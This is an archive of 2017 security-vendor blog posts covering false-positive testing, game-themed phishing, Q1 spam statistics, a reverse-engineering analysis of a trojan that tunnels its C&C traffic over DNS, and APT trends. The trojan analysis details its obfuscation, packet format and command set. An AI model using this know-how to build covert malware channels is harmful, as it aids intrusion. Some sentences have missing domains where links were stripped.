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False Positives: Why Vendors Should Lower Their Rates and How We Achieved the Best Results

Wed, 05/10/2017 - 10:14

In pursuit of a high cyberthreat detection rate, the some developers of cybersecurity solutions neglect the subject matter of false positives, and unfairly so. Indeed, this is a very inconvenient matter that some developers tend to overlook (or try to solve with questionable methods) until there is a serious incident that could paralyze the work of their customers. Unfortunately, such incidents do happen. Regretfully, only then does the idea dawn on these developers that high-quality protection from cyberthreats involves not only prevention but also a low false-positive rate.

While the minimizing the false positive rate may seem simple enough, it has, as a matter of fact, a multitude of intricacies and snags that demand significant investments, technological maturity, and resources from cybersecurity developers.

The two main reasons of false positives are:

  1. software, hardware, and human errors that all stem from the developer of the product, and
  2. the diversity of legitimate (“clean”) software that is being inspected.

The latter reason needs to be clarified.

It’s no secret that programs are written globally by millions of people with a plethora of varied qualifications (from students to experts), using various platforms and adhering to different standards. Every author has his own unique style, which sometimes leads to a situation where the program code resembles a malicious code. This triggers protection technologies, especially those that are based upon low-level binary analysis using different approaches including machine learning.

Without taking into account this peculiarity, and without implementing special technologies to minimize the occurrence of false positives, cybersecurity developers risk ignoring the “first, do not harm” principle. This, in its turn, leads to disastrous consequences (especially for large corporate customers), which can be compared to damage caused by cyberattacks.

For more than twenty years, Kaspersky Lab has been working on processes for development and testing as well as on creating technologies that minimize the rate of false positives. We take pride in having one of the best results in the industry (see tests performed by AV-Comparatives, or SE Labs) for false alarms, and we are glad to further expand on several specifics of our inner workings. I am sure that this information will allow users and corporate customers to have a more reasonable approach in selecting a cybersecurity solution. Additionally, cybersecurity developers will be able to improve and refine their processes to match the level of the world’s best practices.

We use a triple-tier quality-control system to minimize the rate of false positives, including:

  1. quality control at the design stage,
  2. quality control upon the release of a detection method, and
  3. quality control of released detection methods.

This system is being continuously improved with the help of various preventive measures.

Let us review each tier of the system in greater detail.

Quality control at the design stage

One of our fundamental principles in software development is that each technology, product, or process must contain mechanisms for minimizing the risk of false positives and consequential faults that result from them. Mistakes at the design stage turn out to be the most costly, as correcting them comprehensively may require rewriting an entire algorithm. This is why, with our years of experience, we have produced our own best practices that have allowed to decrease the rate of false positives.

For example, when developing or improving machine learning-based cyberthreat detection technology, we make sure that the technology has been learning from considerable collections of clean files with different formats. Our knowledge base for clean files (a whitelist) assists us with that. The contents of the whitelist have already exceeded 2 billion objects and are constantly collaboratively updated.

During our work, we also make sure that training and test collections of each technology are regularly updated with the most recent versions of clean files. Additionally, our products contain built-in features that minimize false positives for critical system files. Aside from that, at each detection, the product utilizes the Kaspersky Security Network (KSN) to consult the whitelist database and the certificate-reputation service to confirm that the detected file is not a clean one.

However, technologies and products aside, there is also a human factor.

A cybersecurity analyst, a developer of an expert system, or a data analyst might make mistakes at any stage. So, there is room for miscellaneous blocking checks by additional automated systems.

Quality control at the release of a detection method

Before the delivery to users, new methods of cyberthreat detection pass several more test stages.

The greatest protective barrier is the infrastructure system for false positive testing, which works with two collections.

The first collection, which is a critical set, comprises files that are taken from popular operating systems (released for different platforms with different localizations), updates of those systems, office applications, drivers, and our own products. This set of files is routinely supplemented.

The second collection contains a dynamically formed set of files, which includes the most popular files. The size of this collection is chosen by finding a balance between the volume of scanned files (as a consequence, the number of servers), the run time of this scan (hence, the time of delivery of detection methods to users), and the number of potentially affected computers in case of a false positive.

For the time being, the number of files in both collections surpasses 120 million (this is approximately 50 TB of data). Considering the fact that these files are scanned every hour after each release of the database updates, we may infer that the infrastructure checks over 1.2 PB of data for false positives each day.

More than 10 years ago, we were among the first ones in the field of cybersecurity to implement non-signature-based methods of detection that leveraged behavioral analysis, machine learning, and other promising generic technologies. These methods have proven their effectiveness, especially in overcoming sophisticated cyberthreats. However, they require particularly thorough testing for false positives.

For example, behavioral detection allows for the neutralization of a malicious application that has manifested some traits of a malicious behavior during its operation. In order to prevent a false positive for the behavior of clean files, we have created a “farm” of computers, which bring about various user scenarios.

The “farm” offers different combinations of operating systems and popular software. Before releasing each new non-signature-based detection method, we dynamically check it at this “farm” with standard and unique scenarios.

Last but not least, cybersecurity developers should also pay attention to test their web scanners for false positives. A website blocked by mistake can also disrupt the work of a customer, which is not acceptable.

To minimize the number of such incidents, we have developed automated systems to download up-to-date content daily from 10,000 of the most popular websites and scan this content to test for false positives. The most accurate results are achieved by using the most popular versions of common browsers and by using proxies in different geo locations to exclude location-dependent content.

Quality control of released detection methods

Detection methods that have been delivered to users are monitored day and night by the automated systems, which monitor the methods for any behavioral anomalies.

The thing is the dynamics of a detection that triggers a false positive often differs from the dynamics of a detection of a genuinely malicious file. Our genuine automated system monitors these anomalies, and if there is something suspicious, then the system will request an analyst to run an additional check for this detection. If suspicions are very strong, then our automated system turns off the detection method through KSN and immediately informs analysts about it. In addition, there are three teams of cybersecurity analysts on duty in Seattle, Beijing, and Moscow who work shifts around the clock to monitor the situation and quickly resolve emerging incidents. This is Humachine Intelligence in action.

In addition to detecting anomalies, the automated systems monitor performance data, errors in module operation, and potential problems based on diagnostic data received from users over KSN. This allows us to detect potential problems at early stages and eliminate them before their effect becomes noticeable for users.

In case the incident has occurred after all and cannot be closed by disabling an individual detection method, then urgent actions are taken to rectify the situation and allow the problem to be solved quickly and effectively. In this case, we may roll back the databases to a stable release that does not require any additional testing. To be honest, we have not resorted to this method in practice, as there has been no occasion for that thus far. In fact, we’ve only ever used it during our training exercises.

Speaking of training exercises…

Prevention is better than a cure

Not everything can be foreseen, and even if every eventuality were provided for, it would be good to know how certain measures would work in practice. Waiting for a real incident to happen isn’t necessary, as there is always the option of modeling.

Periodically, we conduct internal training exercises to confirm the “combat readiness” of our staff and the effectiveness of our methods for preventing false positives.

The training exercises are focused on full-blown imitation of diverse emergency scenarios in order to see if all of the systems and experts act according to plan. Several divisions of technical and service departments are simultaneously involved in the training exercises. These exercises are scheduled for a weekends and are based on a scrupulously thought-out scenario.

After training, we analyze each division for its performance, improve the documentation and implement changes for the involved systems and processes.

Sometimes during the training process, we discover new risks that had previously gone unnoticed. A more systematic discovery of those risks is achieved through brainstorming potential problems in the areas of technologies, processes and products. After all, technologies, processes, and products are constantly being developed, and any change brings about new risks.

Finally, we work systematically on eradicating root causes for all of the incidents, risks, and problems that were uncovered during our training exercises.

It goes without saying that all of the systems that are responsible for quality control are duplicated and are maintained day and night by the team of experts on duty. A fault in any one system will lead to transitioning over to a duplicate system while the fault itself is immediately addressed.


False positives cannot be avoided completely, but it is possible to lower their rate considerably to minimize their aftermath. This does require substantial investments, technological maturity, and resources from developers of cybersecurity solutions. Yet, these efforts provide a smooth experience for our users and corporate clients. These efforts are imperative and are within the scope of duties of each reliable developer.

Reliability is our creed. Instead of relying on one protection technology, we employ a multi-tier security approach. Protection against false positives is arranged in the same way – it is multi-tiered and duplicated multiple times. There is no other way since we are talking about the high-quality protection of our customers’ infrastructure.

At the same time, we succeed in finding and maintaining the optimal balance between the highest level of protection against cyberthreats and the the lowest level of false positives. This is confirmed by the results of independent tests in 2016:, a German test laboratory, gave Kaspersky Endpoint Security eight awards at the same time, including Best Protection 2016 and Best Usability 2016.

In conclusion, I would like to note that high quality is not a result that ought to be achieved only once. This is a process that requires constant supervision and improvement, especially where the price of a possible mistake means the disruption of a customer’s business processes.

Clash of Greed

Thu, 05/04/2017 - 04:57

In 2015, the game Clash of Clans was bringing in about 1.5 million dollars per day for its developer, Supercell. Later on, the company launched a new project, Clash Royale, after addressing the flaws of their first game and implementing battles with real players into the new game, which shares the same characters and the same cartoonish design as the first project. Yet, the more popular game is, the higher the probability that fraudsters will be looking to make a fortune on that popularity by, for example, organizing phishing attacks on the player base.

The money-making model for both of the games has been thoroughly thought-out: anyone can play without investing real money. But this would mean putting a lot of effort into the games and losing more often to other players who basically purchase and upgrade either rare and strong cards with extremely low drop rates or battle units and building levels (when talking about Clash of Clans). In this regard, the majority of the game’s players do not have much money but are full of ambition. These players often seek not-so-legal ways to procure and upgrade rare cards to put less effort into winning battles and ranking up to play in the premier leagues.

This has been exploited by fraudsters, who subtly abuse human foibles such as cupidity, love for freebies, and the desire to be the top player. Phishing attacks, though always quite similar in their nature, are very competently planned. Phishing websites are designed with holidays in mind (either New Year’s Eve or Christmas) or are linked to game updates that include additions to the game or changes in the game’s mechanics (new cards, units, balancing, etc.).

Here, for example, is the headline of a phishing website targeted at Clash of Clans players. It was designed specially for New Year’s Eve, and, according to the published description, the developer of the game supposedly gives out New Year’s gifts to players, including game currency, building level upgrades, etc.

The address of the website contains the phrase “eventchristmasandnewyear”, which makes the website look even more credible.

Victims can choose what they want from a list that includes gold, crystals, resources, and building upgrades.

The intention of the fraudsters becomes obvious as early as at the next step, where victims are prompted fill out a form by entering the credentials of their Google and Facebook accounts. After that, these credentials are passed on to the fraudster and the victims are robbed of both of their accounts.

The form created by the fraudsters offers “authorization” with Google and Facebook credentials

Also, fraudsters reacted quickly to the release of the latest updates, which included new battle arenas and legendary cards. On behalf of Supercell, players were offered their choice of one of the “legendaries”, as well as gold and crystals. Of course, in order to obtain these, Google and Facebook credentials were required.

One of their recent releases was “a gift from the developers”, which gives the player the option of selecting their desired hero or resources

Input fields for credentials

After sending the credentials, the victim receives a message to confirm their registration. It can be assumed that the evildoers may need this to ascertain the authenticity of the user-specified credentials.

To avoid falling victim to this fraudulent scheme, it is a good idea to follow these simple rules: do not use any links from social network groups, especially if the groups are not official, or from e-mail messages received from unknown users, even though they may promise you progress in the game or imminent profit. It certainly couldn’t hurt to install good security software that features anti-phishing functionality with database updates on malicious and phishing links that cover every subject. If the “free lunch” being offered proves to be too tempting, then go to the game developer’s official website and verify whether the holiday offer is genuine.

Spam and phishing in Q1 2017

Tue, 05/02/2017 - 04:57

Spam: quarterly highlights Spam from the Necurs botnet

We wrote earlier about a sharp increase in the amount of spam with malicious attachments, mainly Trojan encryptors. Most of that spam was coming from the Necurs botnet, which is currently considered the world’s largest spam botnet. However, in late December 2016, the network’s activity almost ceased completely and, as time showed, it wasn’t just a break for the festive season. The volume of spam sent from this botnet remained at an extremely low level for almost the entire first quarter of 2017.

In Q1 2017, the percentage of spam in email traffic amounted to 55.9%.


Why has Necurs stopped distributing spam? We know that the botnet is active and the bots are waiting for commands. Perhaps the criminals behind the botnet got scared by all the fuss made about encryptors and decided to temporarily suspend their mass mailings.

We still continue to register malicious mass mailings from what is presumably the Necurs botnet, though their volume is a fraction of the amount recorded in December:

The number of malicious messages caught by our traps that were presumably sent by the Necurs botnet

As before, the emails usually imitate various types of bills and other official documents:

The email above contained an attached MSWord document with macros that downloaded the Rack family encryptor (detected as Trojan.NSIS.Sod.jov) to the victim machine.

In addition to malicious mailings from the botnet, we came across a mass mailing about pump-and-dump stock schemes:

As a rule, mass mailings exploiting this subject are distributed in huge volumes over a very short period of time. This is because the fraudsters have to pump and dump shares quickly, before their scams are discovered on the stock exchange. This type of stock fraud is against the law, so cybercriminals try to wind up the affair within a couple of days. The Necurs botnet is ideal for this sort of scam due to its size – according to estimates, it currently exceeds 200,000 bots.

The average share of spam in Russia’s email traffic in Q1 2017 was 61.6%.


Does this sharp drop mean we have reached peak crypto-spam mass mailing and it’s about to disappear? Unfortunately, no.

The total volume of malware detected in email decreased, but not that dramatically – 2.4 times less than the previous quarter.

The number of email antivirus detections, Q4 2016 vs Q1 2017

Malicious mass mailings are still being sent out and, although their volume has decreased, cybercriminals are using a variety of techniques to deceive both security solutions and users.

Malicious emails with password-protected archives

In the first quarter we observed a trend towards packing malware into password-protected archives to complicate detection of malicious emails.

All the classic tricks were used to make potential victims open the archives: fake notifications about orders from large stores, various bills, money transfers, resumes, or the promise of lots of money.

The attached archives usually contained office documents with macros or JavaScript scripts. When launched, the files downloaded other malicious programs on the user’s computer. Interestingly, after the decline in Necurs botnet activity, the harmful “payload” that spread via spam became much more diverse. The cybercriminals sent out ransomware and spyware, backdoors and a new modification of the infamous Zeus Trojan.

The attachments above contain Microsoft Word documents with macros that download several different modifications of a Trojan encryptor belonging to the Cerber family from onion domains in different zones. This malicious program selectively encrypts data on the user’s computer and demands a ransom for decrypting it via a site on the Tor network.

The archive in the message above contains the Richard-CV.doc file with macros that downloads representatives of the Fareit spyware family from the domain. These malicious programs collect confidential information about the user and send it to the remote server.

There was yet another case involving downloadable spyware, this time from the Pinch family. The Trojan collects passwords, email addresses, information about the system configuration and registry settings. Among other things, it harvests information from instant messaging services and mail clients. The obtained data is encrypted and sent to the criminals by email. According to our information received from KSN, the program is most widespread in Russia, India and Iran.

Most email antivirus detections occurred in China – 18% of all spam.


It’s worth pointing out that this spyware was spread using fake business correspondence. Emails were sent out using the names of real small and medium businesses with all the relevant signatures and contacts, rather than using the name of some made-up organization.

Unlike other emails, the example above does not contain a password-protected archive. The request to enter a password is just a trick: the fraudsters want the user to enable Microsoft Word macros to run the malicious script.

The contents of the email above include a password-protected document with a script in Visual Basic that downloads the Andromeda bot on the victim machine. The latter establishes a connection with the command center and waits for commands from the owners. It has broad functionality and can download other malicious programs on the user’s computer.

This fake notification from an e-store contains a malicious script. On entering the password and launching the malicious content, the Receipt_320124.lnk file is created in the %TEMP% catalogue. It, in turn, downloads a Trojan-banker of the Sphinx family, which is a modification of the older and infamous Zeus, on the victim computer.

As we can see, very different mass mailings with malicious attachments now contain files packed in a password-protected archive. Most likely, this trend will continue: a password-protected document is likely to appear more trustworthy to the user, while causing problems for security solutions.

Spam via legal services

Modern virtual platforms for communication (messengers, social networks) are also actively used by spammers to spread advertising and fraudulent offers. Cybercriminals register special accounts for spamming in social networks and to make their messages look more authentic they use techniques similar to those used in traditional mass mailings (for example, the personal data from the account and that sent in the email are the same). The same type of spam, for example, ‘Nigerian letters’, offering earnings, etc. can be distributed via email traffic and social networks. A notification about a message is usually sent to the recipient’s email address; in this case, the technical header of the email is legitimate, and it is only possible to detect the spam by the contents of the message. Spam distributed directly via email, can be easily detected by technical headers. The same cannot be said for messages sent via legitimate services, especially if the address of the service is added to the user’s list of trusted addresses.

Today’s email spam filters can cope effectively with the task of detecting spam that is sent in the traditional way, so spammers are forced to look for new methods to bypass filters.

Holidays and spam

The first quarter of 2017 saw festive spam dedicated to New Year, St. Patrick’s Day, Easter and Valentine’s Day. Small and medium-sized businesses advertised their services and products and offered holiday discounts. Offers from Chinese factories were timed to coincide with the Chinese New Year, which was celebrated in mid-February.

Spammers also sent out numerous offers to participate in a survey and get coupons or gift cards from major online stores, hoping to collect the recipients’ personal information and contact details.

Burst of B2B spam

In the first three months of 2017, we also recorded a large number of mass mailings containing offers to buy company databases from specific industries. This type of spam remains popular with spammers and primarily targets companies or individual representatives of large businesses rather than ordinary users. Therefore, these messages are sent mainly to people or companies from a list of contacts or addresses for a particular business segment that is obtained, as a rule, in the same way – via spam.

The offers are sent on behalf of firms or their representatives, but they are often completely impersonal.

Spammers have databases of companies for any business segment, as well as the contact details of participants at major exhibitions, seminars, forums and other events. To make recipients interested in their offers, spammers often send several free contacts from their collections.

Statistics Proportion of spam in email traffic

Percentage of spam in global email traffic, Q4 2016 and Q1 2017

Compared to Q4 2016, there was a decline in the overall proportion of spam in global email traffic in the first three months of 2017. In January, the proportion fell to 55.05%, while in February the share was even lower – 53.4%. However, in March the level of spam showed an upward trend, rising to 56.9%. As a result, the average share of spam in global email traffic for the first quarter of 2017 was 55.9%.

Percentage of spam in Russia’s email traffic, Q4 2016 and Q1 2017

The spam situation in the Russian segment of the Internet was somewhat different from the global one. In January 2017, the proportion of junk email increased to almost 63% and stayed in the 60-63% range until the end of the quarter. In February, as was the case with overall global traffic, there was a decline – to 60.35% – followed by an increase to 61.65% in March. The average share of spam in Russian email traffic in the first quarter of 2017 was 61.66%.

Sources of spam by country

Sources of spam by country, Q1 2017

In the first quarter of 2017, the US remained the leading source of spam – its share accounted for 18.75%. Representatives from the Asia-Pacific region – Vietnam (7.86%) and China (7.77%) – came second and third.

Trojan-Downloader.JS.Agent remained the most popular malware family spread via email.


Germany was the fourth biggest source, responsible for 5.37% of world spam, followed by India (5.16%). Russia, in sixth place, accounted for 4.93% of total spam.

The top 10 biggest sources also included France (4.41%), Brazil (3.44%), Poland (1.90%) and the Netherlands (1.85%).

Spam email size

Breakdown of spam emails by size, Q4 2016 and Q1 2017

In Q1 2017, the share of small emails (up to 2 KB) in spam traffic decreased considerably and averaged 29.17%, which is 12.93 p.p. less than in the fourth quarter of 2016. The proportion of emails sized 2–5 KB (3.74%) and 5–10 KB (7.83%) also continued to decline.

Meanwhile, the proportion of emails sized 10-20 KB (25.61%) and 20-50 KB (28.04%) increased. Last year’s trend of fewer super-short spam emails and more average-sized emails has continued into 2017.

Malicious attachments in email Top 10 malware families

Trojan-Downloader.JS.Agent (6.14%) once again topped the rating of the most popular malware families. Trojan-Downloader.JS.SLoad (3.79%) came second, while Trojan-PSW.Win32.Fareit (3.10%) completed the top three.

TOP 10 malware families in Q1 2017

The Backdoor.Java.Adwind family (2.36%) in fifth place is a cross-platform multifunctional backdoor written in Java and sold on DarkNet as malware-as-a-service (MaaS). It is also known under the names of AlienSpy, Frutas, Unrecom, Sockrat, JSocket, and jRat. It is typically distributed via email as a JAR attachment.

A newcomer – Trojan-Downloader.MSWord.Cryptoload (1.27%) – occupied ninth place. It’s a JS script containing malware, which it installs and runs on the computer.

Trojan-Downloader.VBS.Agent (1.26%) rounded off the Top 10.

Countries targeted by malicious mailshots

Distribution of email antivirus verdicts by country, Q1 2017

In Q1 2017, China (18.23%) was the country targeted most by malicious mailshots. Germany, last year’s leader, came second (11.86%), followed by the UK (8.16%) in third.

Italy (7.87%), Brazil (6.04%) and Japan (4.04%) came next, with Russia occupying seventh place with a share of 3.93%. The US was in ninth place with (2.46%), while Vietnam (1.94%) completed the Top 10.


In the first quarter of 2017, the Anti-Phishing system was triggered 51,321,809 times on the computers of Kaspersky Lab users. Overall, 9.31% of unique users of Kaspersky Lab products worldwide were attacked by phishers in Q1 2017.

Geography of attacks

China (20.88%) remained the country where the largest percentage of users is affected by phishing attacks, although its share decreased by 1.67 p.p.

Geography of phishing attacks*, Q1 2017

* Number of users on whose computers the Anti-Phishing system was triggered as a percentage of the total number of Kaspersky Lab users in the country

The percentage of attacked users in Brazil decreased by 0.8 p.p. and amounted to 19.16%, placing the country second in this ranking. Macao added 0.91 p.p. to the previous quarter’s figure and came third with 11.94%. Russia came fourth with 11.29% (+0.73 p.p.), followed by and Australia on 10.73% (-0.37p.p).

TOP 10 countries by percentage of users attacked

Country % China 20.87% Brazil 19.16% Macao 11.94% Russia 11.29% Australia 10.73% Argentina 10.42% New Zealand 10.18% Qatar 9.87% Kazakhstan 9.61% Taiwan 9.27%

Argentina (10.42%, +1.78 p.p.), New Zealand (10.18%), Qatar (9.87%), Kazakhstan (9.61%) and Taiwan (9.27%) completed the top 10.

Organizations under attack Rating the categories of organizations attacked by phishers

The rating of attacks by phishers on different categories of organizations is based on detections of Kaspersky Lab’s heuristic anti-phishing component. It is activated every time a user attempts to open a phishing page while information about it has not yet been included in Kaspersky Lab’s databases. It does not matter how the user attempts to open the page – by clicking a link in a phishing email or in a message on a social network or, for example, as a result of malware activity. After the security system is activated, a banner is displayed in the browser warning the user about a potential threat.

In Q1 2017, the ‘Banks’ (25.82%, -0.53 p.p.), ‘Payment systems’ (13.6%, +2.23 p.p.) and ‘Online stores’ (10.89%, +0.48 p.p.) categories accounted for more than half of all registered attacks. The total share of ‘Financial organizations’ was a little over 50% of all phishing attack

Distribution of organizations affected by phishing attacks by category, Q1 2017

In addition to financial organizations, phishers most often targeted ‘Global Internet portals’ (19.1%), although their share decreased by 5.25 p.p. from the previous quarter. ‘Social networking sites’ (9.56%) and ‘Telecommunication companies’ (5.93%) also saw their shares fall by 0.32 p.p. and 0.83 p.p. respectively. The percentage of the ‘Online games’ category accounted for 1.65% while the figure for ‘Instant messaging’ was 1.53%.

TOP 3 attacked organizations

Fraudsters continue to focus most of their attention on the most popular brands, enhancing their chances of a successful phishing attack. More than half of all detections of Kaspersky Lab’s heuristic anti-phishing component are for phishing pages using the names of fewer than 15 companies.

In Q1 2017, Kaspersky Lab products blocked 51 million attempts to open a phishing page.


The TOP 3 organizations attacked most frequently by phishers remained unchanged for the second quarter in a row. Yahoo! was once again the organization whose brand was mentioned most often on phishing pages (7.57%, – 1.16 p.p.). Facebook (7.24%), whose share fell by 0.13 p.p., was second, while Microsoft (5.39%, -0.83 p.p.) came third.

Organization % of detected phishing links Yahoo! 7.57 Facebook 7.24 Microsoft Corporation 5.39

In order to reach the widest possible audience with one attack, scammers often mention a variety of brands expecting the victims to react to at least one of them. This is facilitated by authentication with existing accounts, which many Internet services use trying to make life easier for their users. Therefore, a page offering to use different accounts to enter a site does not arouse suspicions. This allows fraudsters to steal user data from several different resources using just one phishing page.

Phishing page prompting the user to login via the accounts of other web resources to access a file

This phishing page uses a similar trick under the pretext of accessing the Google Drive service

Hot topics this quarter Payment systems

In the first quarter Q1 2017, 13.6% of detections of Kaspersky Lab’s heuristic anti-phishing component fell under the ‘Payment Systems’ category. It means that every eighth attack targeted this category, which has been popular with phishers for several quarters now.

PayPal (28.25%) came first on the list of attacked payment systems, followed by Visa (25.78%) and American Express (24.38%).

Organization %* PayPal 28.25 Visa Inc. 25.78 American Express 24.38 MasterCard International 16.66 Others 4.94

* The percentage of attacks on an organization as a total of all attacks on organizations from the ‘Payment Systems’ category

The goal of phishers attacking customers of popular payment systems is to get personal and payment data, login details for accounts, etc. Criminals often place fraudulent content on reputable resources in order to gain the trust of the user and bypass blacklisting. For example, we came across a fake PayPal support page located on the Google Sites service (the primary domain is After clicking on the banner, the user is redirected to a phishing page, where they are asked to enter their account data for the payment system.

Phishing page using the PayPal brand located on the Google domain

Another trick used by phishers is to place phishing content on the servers of government agencies. This is possible because a significant number of government agencies do not pay much attention to the security of their web resources.

Phishing page using the PayPal brand located on a server belonging to Sri Lankan government

Phishing page using the PayPal brand located on a server belonging to the Bangladesh government

Emails threatening to block an account or asking to update data in a payment system were used as bait.

Online stores

Every tenth phishing attack targeted users of online stores. In Q1 2017, Amazon (39.13%) was the most popular brand with phishers.

Organization % Online Shopping 39.13 Apple 15.43 Steam 6.5 eBay 5.15 Alibaba Group 2.87 Taobao 2.54 Other targets 28.38

By using the Amazon brand, cybercriminals are trying not only to steal login data but also all the personal information of the user, including their bank card details. Also, they often place fake pages on domains that have a good reputation (for example, on a domain owned by Vodafone).

Phishing page using the Amazon brand located on the Vodafone domain

Earning money with anti-phishing

In addition to standard phishing emails and pages, we often come across other methods of tricking users. Scammers often exploit people’s desire to make easy money by offering cash to view advertising, automatic stock trading programs and much more.

Spam emails offering quick money on the Internet

In the first quarter of 2017, we saw a rather interesting fraudulent resource which claimed to be combating phishing sites. All you had to do if you wanted to make some quick cash was to register and perform several tasks, the essence of which was to evaluate web pages using the following options: malicious, safe, does not load. Only the content of the page was evaluated, while its address was not displayed.

After checking 31 sites, it turned out that $7 needed to be paid to withdraw the money that was earned

For each ‘checked’ site, the user earned about $3. To withdraw that money, they had to transfer $7 to the owners of the resource as confirmation that they were an adult and financially solvent. Of course, no ‘earnings’ were ever received after that.


Although the beginning of Q1 2017 was marked by a decline in the amount of spam in overall global email traffic, in March the situation became more stable, and the average share of spam for the quarter amounted to 55.9%. The US (18.75%) remained the biggest source of spam, followed by Vietnam (7.86%) and China (7.77%).

The first quarter of 2017 was also notable for the decrease in the volume of malicious spam sent from the Necurs botnet: the number of such mass mailings decreased significantly compared to the previous reporting period. However, the lull may be temporary: the attackers may have decided to suspend mass mailings until all the hype about encryptors subsides.

Trojan-Downloader.JS.Agent (6.14%) once again topped the rating of the most popular malware families detected in email. Trojan-Downloader.JS.SLoad (3.79%) came second, while Trojan-PSW.Win32.Fareit (3.10%) completed the top three.

In Q1 2017, the Anti-Phishing system was triggered 51,321,809 times on the computers of Kaspersky Lab users. China (20.88%) topped the rating of countries most often attacked by phishers. Financial organizations remained the main target for phishers, and we expect this trend to continue in the future.

Use of DNS Tunneling for C&C Communications

Fri, 04/28/2017 - 05:59

Say my name.!

You are goddamn right.

Network communication is a key function for any malicious program. Yes, there are exceptions, such as cryptors and ransomware Trojans that can do their job just fine without using the Internet. However, they also require their victims to establish contact with the threat actor so they can send the ransom and recover their encrypted data. If we omit these two and have a look at the types of malware that have no communication with a C&C and/or threat actor, all that remains are a few outdated or extinct families of malware (such as Trojan-ArcBomb), or irrelevant, crudely made prankware that usually does nothing more than scare the user with screamers or switches mouse buttons.

Malware has come a long way since the Morris worm, and the authors never stop looking for new ways to maintain communication with their creations. Some create complex, multi-tier authentication and management protocols that can take weeks or even months for analysists to decipher. Others go back to the basics and use IRC servers as a management host – as we saw in the recent case of Mirai and its numerous clones.

Often, virus writers don’t even bother to run encryption or mask their communications: instructions and related information is sent in plain text, which comes in handy for a researcher analyzing the bot. This approach is typical of incompetent cybercriminals or even experienced programmers who don’t have much experience developing malware.

However, you do get the occasional off-the-wall approaches that don’t fall into either of the above categories. Take, for instance, the case of a Trojan that Kaspersky Lab researchers discovered in mid-March and which establishes a DNS tunnel for communication with the C&C server.

The malicious program in question is detected by Kaspersky Lab products as Backdoor.Win32.Denis. This Trojan enables an intruder to manipulate the file system, run arbitrary commands and run loadable modules.


Just like lots of other Trojans before it, Backdoor.Win32.Denis extracts the addresses of the functions it needs to operate from loaded DLLs. However, instead of calculating the checksums of the names in the export table (which is what normally happens), this Trojan simply compares the names of the API calls against a list. The list of API names is encrypted by subtracting 128 from each symbol of the function name.

It should be noted that the bot uses two versions of encryption: for API call names and the strings required for it to operate, it does the subtraction from every byte; for DLLs, it subtracts from every other byte. To load DLLs using their names, LoadLibraryW is used, meaning wide strings are required.

‘Decrypting’ strings in the Trojan

Names of API functions and libraries in encrypted format

It should also be noted that only some of the functions are decrypted like this. In the body of the Trojan, references to extracted functions alternate with references to functions received from the loader.

C&C Communication

The principle behind a DNS tunnel’s operation can be summed up as: “If you don’t know, ask somebody else”. When a DNS server receives a DNS request with an address to be resolved, the server starts looking for it in its database. If the record isn’t found, the server sends a request to the domain stated in the database.

Let’s see how this works when a request arrives with the URL to be resolved. The DNS server receives this request and first attempts to find the domain extension ‘.com’, then ‘’, but then it fails to find ‘’ in its database. It then forwards the request to and asks it if such a name is known to it. In response, is expected to return the appropriate IP; however, it can return an arbitrary string, including C&C instructions.

Dump of Backdoor.Win32.Denis traffic

This is what Backdoor.Win32.Denis does. The DNS request is sent first to, then forwarded to z.teriava[.]com. Everything that comes before this address is the text of the request sent to the C&C.

Here is the response:

DNS packet received in response to the first request

Obviously, the request sent to the C&C is encrypted with Base64. The original request is a sequence of zeros and the result of GetTickCount at the end. The bot subsequently receives its unique ID and uses it for identification at the start of the packet.

The instruction number is sent in the fifth DWORD, if we count from the start of the section highlighted green in the diagram above. Next comes the size of the data received from C&C. The data, packed using zlib, begins immediately after that.

The unpacked C&C response

The first four bytes are the data size. All that comes next is the data, which may vary depending on the type of instruction. In this case, it’s the unique ID of the bot, as mentioned earlier. We should point out that the data in the packet is in big-endian format.

The bot ID (highlighted) is stated at the beginning of each request sent to the C&C

C&C Instructions

Altogether, there are 16 instructions the Trojan can handle, although the number of the last instruction is 20. Most of the instructions concern interaction with the file system of the attacked computer. Also, there are capabilities to gain info about open windows, call an arbitrary API or obtain brief info about the system. Let us look into the last of these in more detail, as this instruction is executed first.

Complete list of C&C instructions

Information about the infected computer, sent to the C&C

As can be seen in the screenshot above, the bot sends the computer name and the user name to the C&C, as well as the info stored in the registry branch Software\INSUFFICIENT\INSUFFICIENT.INI:

  • Time when that specific instruction was last executed. (If executed for the first time, ‘GetSystemTimeAsFileTime’ is returned, and the variable BounceTime is set, in which the result is written);
  • UsageCount from the same registry branch.

Information about the operating system and the environment is also sent. This info is obtained with the help of NetWkstaGetInfo.

The data is packed using zlib.

The DNS response prior to Base64 encryption

The fields in the response are as follows (only the section highlighted in red with data and size varies depending on the instruction):

  • Bot ID;
  • Size of the previous C&C response;
  • The third DWORD in the C&C response;
  • Always equals 1 for a response;
  • GetTickCount();
  • Size of data after the specified field;
  • Size of response;
  • Actual response.

After the registration stage is complete, the Trojan begins to query the C&C in an infinite loop. When no instructions are sent, the communication looks like a series of empty queries and responses.

Sequence of empty queries sent to the C&C


The use of a DNS tunneling for communication, as used by Backdoor.Win32.Denis, is a very rare occurrence, albeit not unique. A similar technique was previously used in some POS Trojans and in some APTs (e.g. Backdoor.Win32.Gulpix in the PlugX family). However, this use of the DNS protocol is new on PCs. We presume this method is likely to become increasingly popular with malware writers. We’ll keep an eye on how this method is implemented in malicious programs in future.



APT Trends report, Q1 2017

Thu, 04/27/2017 - 04:58

Kaspersky Lab is currently tracking more than a hundred threat actors and sophisticated malicious operations targeting commercial and government organizations in over 80 countries. During the first quarter of 2017, there were 33 private reports released to subscribers of our Intelligence Services, with Indicators of Compromise (IOC) data and YARA rules to assist in forensics and malware-hunting.

We continue to observe a sharp rise in the sophistication of attacks with nation-state backing and a merger of tactics, techniques, and procedures (TTPs) between APT actors and financially motivated cybercriminals. We have witnessed the Middle East becoming one of the major cyber battlefields. At the same time, during Q1 2017, the discovery of a new Wiper victim in Europe raised eyebrows and suggested that these kinds of destructive attacks have now spread beyond the Middle East.

In this report, we discuss the targeted attack highlights from the first quarter of 2017, and discuss some emerging trends that demand immediate attention.

Highlights in targeted attacks Evolution of Wipers: a new weapon for APT actors

During the last few months a new wave of wiper attacks, mainly focused against Saudi interests, raised a red flag for many companies, and for a good reason. The new wave of Shamoon attacks apparently relied on stolen credentials from Active Directory for their internal distribution stage. The investigation of these attacks lead us to the discovery of a new wiper we called StoneDrill.

We believe both Shamoon and StoneDrill groups are aligned in their interests, but are two separate actors, which might also indicate two different groups working together.

